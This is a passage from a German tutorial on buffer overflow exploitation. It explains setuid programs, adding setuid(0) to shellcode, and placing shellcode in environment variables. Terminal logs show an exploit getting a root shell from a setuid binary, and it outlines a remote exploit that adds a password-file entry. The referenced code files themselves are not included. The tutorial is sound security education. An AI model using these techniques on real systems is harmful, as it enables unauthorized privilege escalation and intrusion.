w, write = Datei beschreibbar
x, execute = Datei ausfürbar
d, dir = Verzeichnis
l, link = Datei ist ein Verweis
s = der Nutzer erhält die Rechte des Dateieigentümers wenn er die Datei ausführt

Die Flags sind folgendermaßen angeordnet: Die ersten drei Einträge gelten für den Eigentümer, die nächsten drei für die Gruppe und die letzten drei für alle anderen. Der allererste Buchstabe zeigt an, ob die Datei ein Link ist oder ob es sich um ein Verzeichnis handelt.

Manche Programme können nur mit Rootrechten korrekt abgearbeitet werden. Zu diesen Programmen gehört beispielsweise passwd. Um Einträge in der Passworddatei ändern zu können, benötigt es Rootrechte. Das s-Bit wird also gesetzt, um jedem User, der dieses Programm ausführt, Rootrechte zu geben.

Dies wird folgendermaßen erreicht. Jeder User hat eine reale und eine effektive User ID. Für root sind diese beiden Werte auf 0 gesetzt. Führt jetzt ein beliebiger Nutzer ein root Programm mit gesetztem s-Bit aus, so wird seine effektive UID kurzzeitig auf null gesetzt, er hat also Rootrechte. Können wir unseren Shellcode in einem solchen Programm plazieren, so wird die Shell mit Rootrechten geöffnet (ein Rootprogramm hat ja den Code ausgeführt). Dies klappt aber soweit mir bekannt ist nur noch bei älteren Unixsystemen, da sich die Shell auf moderneren Varianten an der realen userid orientiert. :-<

Um denoch Erfolg zu haben müssen, wir den Shellcode noch ein wenig erweitern, und zwar um das Setzen der realen User ID auf Null. In C-Sieht das so aus:

code13.c

Mit den weiter oben schon ausfürlich behandelten Methoden erstellen wir den Assemblerquelltext und die hexadezimale Repräsentation des Codes.

code14.c

Diesen neu gewonnen Code setzen wir vor den schon bekannten Shellcode und testen alles mit dem schon bekannten Testprogramm.

code15.c

Der neue Exploitcode sieht jetzt folgendermaßen aus:

code16.c

Testen wir den Exploit:

> gcc -o exploit code16.c
> ls -la code10
-rwsr-sr-x  1 root  root  4588 Jun 12 18:50 code10
> id
uid=500(scosh) gid=100(users) groups=100(users)
> exploit 600 1100
Genutzte Adresse ist: 0xbffff650
> code10 $KEI
sh-2.02$ id
uid=0(root) gid=100(users) groups=100(users)

5. Kapitel - Eine neue Möglichkeit einen Exploit zu basteln

Es kann passieren dass der Buffer, den man overflowen möchte, zu klein ist um den Shellcode aufzunehmen, ganz zu schweigen von den führenden nop's. In diesem Fall würde man die Returnadresse mit dem Shellcode überschreiben anstatt mit der Returnadresse.

Um dennoch diese Programme mit Erfolg zu attakieren, muß man sich etwas anderes einfallen lassen. Eine mögliche Lösung liegt in der Benutzung einer Environment Variablen (Umgebungsvariablen). Environment Variablen werden meist allen Programmen mit übergeben, die in der entsprechenden Shell gestartet werden. Sie befinden sich am Anfang des Stacks des gestarteten Programmes.

Man plaziert den Shellcode also in einer solchen Umgebungsvariablen und beschreibt den Overflowbuffer nur noch mit der Returnadresse, die auf den Shellcode in der Umgebungsvariable zeigt.

Diese Methode erhöht auch die Chancen, einen normalen Buffer zum Überlauf zu kriegen, da man den Shellcode in der Umgebungsvariablen ja beliebig groß gestalten kann und somit nicht mehr so genau die Returnadresse raten muß. Das folgende Programm demonstriert diese Methode. Man übergibt ihm drei Argumente:

1. ARG: Größe des Buffers für den Overflow
2. ARG: Offset für Returnadresse
3. ARG: Größe des Shellcodes in der Umgebungsvariablen
In der Variablen $RET liegt der Overflow mit den Returnadressen.

code17.c

Testen wir den neuen Exploit mal mit unserem Problemprogramm.

> code17 1000 1000 4000
Using address: 0xbffff6b0
! $ code10 $RET
sh-2.02# id
uid=0(root) gid=100(users) groups=100(users)

Bestens. ;+)

6. Kapitel - Warum nicht mal remote?

Bis jetzt haben wir nur lokale Bufferoverflows betrachtet, aber warum sollten nicht auch Programme für die Internetkommunikation anfällig für solche Attacken sein? Und sie sind es...

Ein Problem besteht allerdings darin, eine Kommunikation mit diesen Programmen aufzubauen. Man kann nicht mehr so einfach den Shellcode in einer Umgebungsvariablen deponieren, sondern muß ein bißchen Code drumherum bauen, welcher eine Verbindung über TCP/IP mit dem zu attakierenden Programm aufbaut. Auch der Shellcode ist ein anderer, da es in einem solchen Fall meist nicht sinnvoll ist eine Shell zu öffnen. Ein kleiner Code, welcher einen neuen Eintrag in den Passwortdateien plaziert, ist eine klevere Alternative.

Das folgende Programm soll diesen Ansatz demonstrieren. Der Code ist nicht von mir. An dieser Stelle also ein Kniefall vor den Autoren. Meinen Respekt. Man beachte zudem das Datum, der Code ist nicht der neueste.

code18.c

6. Kapitel - Wie findet man Bufferoverflows

Wie schon am Anfang erwähnt, Bufferoverflows sind das Ergebnis wenn man Daten über die Grenze einer lokalen Variable schreibt. Die standard C-Bibliotek bietet mehrere Funktionen an, welche Daten ohne Längenüberprüfung in einen Buffer schreiben. Ein paar Beispielfunktionen: strcat(), strcpy(), sprintf(), vsprintf(), ...

Die Funktionen arbeiten mit nullterminierten Strings und überprüfen nicht, ob die zu kopierenden Daten in den Zielspeicher passen. gets() ist ein weiterer Kandidat. Diese Funktion liest von stdin in einen Speicher, bis ein return (newline) auftritt oder ein EOF im Inputstring auftritt. Auch hier findet keine Überprüfung des Zielspeichers statt.

Sind die Zielspeicher für all diese Funktionen von fester Größe und kann man diese Funktionen von außen ansprechen, so hat man möglicherweise einen Bufferoverflow gefunden.

In einigen Programmen kann man auch folgende Konstruktion finden: In einer while-Schleife werden mit getc(), fgetc() oder getchar() Zeichen eingelesen und in einen Speicher fester Größe kopiert, bis EOL (end of line) oder EOF (end of file) auftritt. Auch diese Art von Code ist angreifbar.

Hat man Zugriff zu den Sourcecodes eines Programmes, kann man mit grep nach solchen Auffälligkeiten suchen.

Sonst gilt, beendet sich ein Programm öfter mal mit einem "Segmentation fault" oder einem "Illegal Instruction", sollte man einen zweiten Blick riskieren.

Scosh